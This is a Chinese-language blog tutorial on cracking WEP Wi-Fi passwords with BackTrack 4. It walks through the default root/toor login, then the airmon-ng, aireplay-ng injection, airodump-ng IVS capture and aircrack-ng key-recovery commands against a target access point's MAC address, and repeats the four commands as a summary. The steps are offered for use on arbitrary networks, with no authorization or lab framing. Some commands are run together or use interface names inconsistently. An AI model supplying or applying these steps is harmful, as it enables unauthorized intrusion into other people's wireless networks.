無法截圖
下面有些圖使用了網上一些朋友的,深表謝意）.然後等到系統載入到下圖的界面（圖6）.然後選擇啟動項,一般選第一個就好了,我當時是選的第5項.每個選項都應該差不多的. . 圖6 4、然後系統開始載入配置,進入命令提示符,如果要求輸入用戶和密碼,則用戶名為root,密碼為toor（好像cat和tac）. 圖7 圖7 5、輸入第二個命令startx,進入圖形化界面.這就是傳說中偉大的Linux系統的xwindows了（圖）. 圖8 圖9 圖10 6、點擊下面任務欄裡面黑框框,那就是linux下的terminal了（火狐右邊的那個嘍）. 現在三個命令才真正的開始嘍.如果是5100的網卡的話,一定記得先運行下面這條命令,手動啟動無線網卡： Airmon-ng start wlan0 6 強烈建議每個人都先運行下這個命令,有備無患嘛.正如下圖所示,第二欄後面一定要顯示網卡才對的.既interface下面會有顯示的一些網卡信息的. 圖11（這是我在VM里截的圖,很明顯現象是錯的） 圖12 （這是網上的朋友的截圖,正常的情況） 7 、運行命令ifconfig –a 查看有沒有一個叫做 wlan0 的無線網卡的信息. 圖12 8、打開一個terminal輸入第一條：aireplay-ng -9 wlan0回車(等待數據跳動停止).這應該是一個注入的命令,以加快無線路由器的發包的速度.
9、輸入airodump-ng --ivs -w <IVS_File> -c <Channel> mon0
這行命令是開始捕獲IVS數據包,<IVS_File>是存放數據的文件名,隨便起個名字就成,<Channel>這裡指通道,寫6就行.比如airodump-ng --ivs -w sjb -c 6 wlan0回車.該數據文件默認是在桌面上的仔細看下,可以發現的.如果是上面對命令的話則生成的文件名就是sjb-01.ivs
aircrack-ng -n 64 -b <ApMac> <IVS_File>-01.ivs ,這裡的<ApMac>是指目標AP的MAC地址,就是SSID號對應的MAC,只要數據包達到5000以上就可試試.<IVS_File>是就是上面保存數據的文件名.如果按照上面寫的就是：
aircrack-ng -n 64 -b 00:11:22:33:44:55 sjb-01.ivs
00:11:22:33:44:55為要破解的AP的MAC地址,需要更改的. 等待 ,出現上面的出現就Ok了. 筆者感言： 好長時間沒有寫過文檔了,咋就感覺像是在寫每學期的課程設計的實驗報告一樣. 其實中用的命令不過四條： Airmon-ng start wlan0 6 aireplay-ng -9 wlan0airodump-ng --ivs -w <IVS_File> -c <Channel> mon0
aircrack-ng -n 64 -b <ApMac> <IVS_File>-01.ivs
但是我的廢話好多,朋友,對這些不是很熟悉,大家見諒了. BT4不只是一個破解無線的軟體,更是一個網路管理方面不可或缺的一個系統,裡面集成了很多的注入,掃描,破解,網路管理的軟體.也可以說是一個裝滿了黑客工具的linux系統. BT4用來破解無線真的是大材小用了.上面的方法可以用很快的方法破解用wep加密技術加密無線網路.但是用wpa加密的確實不是很好.BT4中有專門的可以破解wpa加密的無線路由密碼的軟體.但是由於過程有點複雜,
朋友沒有用過linux,便沒在寫.有興趣的 朋友可以自己到網上搜下資料.
ZHXRUI_WARRIOR
本文出自 「只為喜歡而努力」 博客,請務必保留此出處http://howlingwolf.blog.51cto.com/886388/409991
[火星人 ] wifi無線破解（BT4）已經有507次圍觀
